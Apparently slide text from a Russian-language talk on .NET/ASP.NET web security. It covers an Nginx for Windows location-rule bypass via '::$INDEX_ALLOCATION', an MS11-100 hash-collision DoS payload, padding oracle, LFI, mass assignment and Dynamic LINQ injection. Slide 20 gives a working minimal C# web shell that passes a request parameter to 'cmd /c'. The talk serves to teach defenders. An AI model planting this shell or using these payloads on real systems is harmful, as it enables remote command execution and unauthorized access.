  • 5. [PT-2012-06] Обход ограничений Nginx Рейтинг опасности: Средний (5.0) (AV:N/AC:L/Au:N/C:P/I:N/A:N) Подверженные версии: Nginx for Windows <= v1.3 Вектор: Удаленный Ошибка позволяла злоумышленнику направлять HTTP-запросы к некоторым URL-адресам в обход правил, определенных в директивах ‘Location’ конфигурации веб-сервера. Эксплуатируя уязвимость, потенциальный хакер мог получить доступ к исходному коду веб-приложения и закрытым разделам сайта, обнаружить новые уязвимости, украсть пароли подключения к базе данных и прочим сервисам и т.д. :$I30:$INDEX_ALLOCATION обрабатывались, как часть имени каталога.
  • 6. [PT-2012-06] Обход ограничений Nginx http://hostname/.svn/entries http://hostname/.svn::$INDEX_ALLOCATION/entries HTTP/1.1 200 OK Server: nginx/1.2.0 HTTP/1.1 403 Forbidden Server: nginx/1.2.0 * стабильная версия nginx-1.2.0 for Windows, выпущена 2012-04-23 … location ~/.svn/ { deny all; } …
  • 8. Повреждения памяти Взаимодействие с native-библиотеками, использование смешанных сборок MS12-025, апрель 2012: - выполнение произвольного кода за пределами исполняющей среды через переполнение целого и повреждение кучи в gdiplus.dll при вызове конструктора класса System.Drawing.Imaging.EncoderParameter. Небезопасный управляемый код unsafe void bufferOverflow(string s) { char* ptr = stackalloc char[10]; foreach (var c in s) { *ptr++ = c } }
  • 9. «Turkish I» и не только Сравнение строк без учета текущей культуры, может привести к непредвиденным последствиям: Английские культуры: I & i Турецкие культуры: I & ı + İ & i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> … <script runat="server"> … if (Session["mode"].ToLower() != "admin") … if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) …
  • 10. Коллизии хэшей объектов System.Object.GetHashCode() - возвращает 32-разрядный хэш-код объекта (принимает значения от -2147483648 до 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  • 11. Коллизии хэшей в ASP.NET (MS11-100) Штатная ситуация: Не очень штатная ситуация: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE … over 4Mb form data … (https://github.com/HybrisDisaster/aspHashDoS)
  • 12. Хитрый план (post-mortem MS11-100) 1. Рассчитываем 1000 строк с коллизиями на каждую комбинацию «версия .NET»/«аппаратная платформа» 2. Отправляем каждый из наборов в качестве параметров POST-запроса 3. Замеряем время ответа на каждый запрос 4. ??? 5. ;)
  • 15. Специфика ASP.NET Специальные каталоги и файлы: - App_Browser – определения браузеров (*.browsers); - App_Code – исходный код вспомогательных классов и логики; - App_Data – хранилища данных; - App_GlobalResources, App_LocalResources – ресурсы приложения (*.resx, *.resources); - App_Themes – темы (*.skin, *.css, images, etc); - App_WebReferences – ссылки на web-сервисы (*.wsdl, *.xsd, *.disco, *.discomap); - Bin – скомпилированные сборки, используемые приложением; - web.config, web.*.config – конфигурационные файлы, определяющие настройки web-сервера и приложения.
  • 16. Специфика ASP.NET Стандартные HTTP-обработчики: - WebResource.axd – доступ к статическим ресурсам, внедренным в сборки приложения. - ScriptResource.axd – доступ к скриптам js, внедренным в сборки или хранящимся на диске. Использование: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Пример: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 Где d, зашифрованный параметр: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  • 17. Padding oracle (MS10-070) Последствия: – получение ключей, необходимых для шифрования/дешифрования:  аутентификационных cookies;  ViewState и Event Validation;  аргументов для WebRecource.axd и ScriptResource.axd => чтение произвольных файлов внутри каталога приложения Исправления:  при ошибке паддинга возвращается обощенная ошибка;  используется случайное число в качестве IV;  изменен формат шифруемых строк для их валидации;  ScriptResource.axd может обрабатывать только *.js файлы.
  • 18. Специфика ASP.NET Стандартные HTTP-обработчики: - Trace.axd – трассировка запросов (доступна только в режиме отладки)
  • 19. Особенности эксплуатации LFI Response.WriteFile(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента виртуальное имя файла. Server.Execute(<vfilename>) - позволяет включать любой файл внутри каталога приложения, кроме *.config; - выполняет обработчик для переданного файла, результат включает в ответ; - принимает в качестве аргумента виртуальное имя файла. File.ReadAllText(<filename>) - позволяет включать любой файл, на который есть права; - файл включается статически, выполнения кода не происходит; - принимает в качестве аргумента реальное имя файла.
  • 20. Минимальный C#-шелл <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  • 21. Состояние представления (ViewState) Предназначено для передачи на сервер информации об элементах представления. - передается в параметре __VIEWSTATE; - шифрование и целостность часто не обеспечиваются; - используется разработчиками, для хранения данных сессии на клиенте, хотя не предназначено для этого; - нарушение его целостности может привести к реализации самых разнообразных угроз от XSS до нарушения функциональности приложения.
  • 22. Подтверждение запросов и событий Request Validation – встроенный примитивный WAF, направленный на предотвращение атак XSS. Блокируются все запросы, содержащие: &# < с последующей буквой, !, / и ? А также, игнорируются сторонние параметры, начинающиеся с __ Event Validation – встроенный механизм валидации данных событий. Представляет собой параметр __EVENTVALIDATION, хранящий хэши допустимых значений элементов форм, событий, ViewState и т.п. Вопреки бытующему мнению, неэффективен против CSRF-атак, при стандартной реализации.
  • 23. Mass assignment public class User { public int Id { get; set; } public string UserName { get; set; } public string Password { get; set; } public bool IsAdmin { get; set; } } public class UserController : Controller { IUserRepository _userRepository; public UserController(IUserRepository userRepository) { _userRepository = userRepository; } public ActionResult Edit(int id) { var user = _userRepository.GetUserById(id); return View(user); } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } } Model: Controller:
  • 25. Внедрение выражений LINQ LINQ – язык запросов, встроенный в синтаксис .NET-языков. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2); Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN);
  • 26. Внедрение выражений LINQ Dynamic LINQ – одна из нескольких существующих библиотек для формирования динамических LINQ-запросов времени исполнения. Возможности: - определение выражений строками; - основные примитивные операции; - доступ к членам статических и экземплярных типов данных; - создание экземпляров типов и анонимных типов; Что, если "modifier" формируется из входных данных и содержит: 0 OR 1 == 1 ? var modifier = "0"; var result = itemsList .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  • 27. Внедрение выражений LINQ Ограничения инъекций в Dynamic LINQ: - доступ к полям, свойствам и методам возможен только для типа коллекции или для достижимых типов, определяемых «белым списком»; - все части выражения должны выполняться без ошибок, в сообщениях об ошибках отсутствует полезный вывод; - инъекции подвержены изолированные части запроса; Возможности инъекций в Dynamic LINQ: - обход аутентификации / авторизации; - неавторизованный доступ к данным коллекции; - нарушение функционала (при наличии у объектов коллекции statefull- полей); - реализация угрозы отказа в обслуживании (DoS). В других решениях возможна реализация угрозы удаленного выполнения кода (RCE)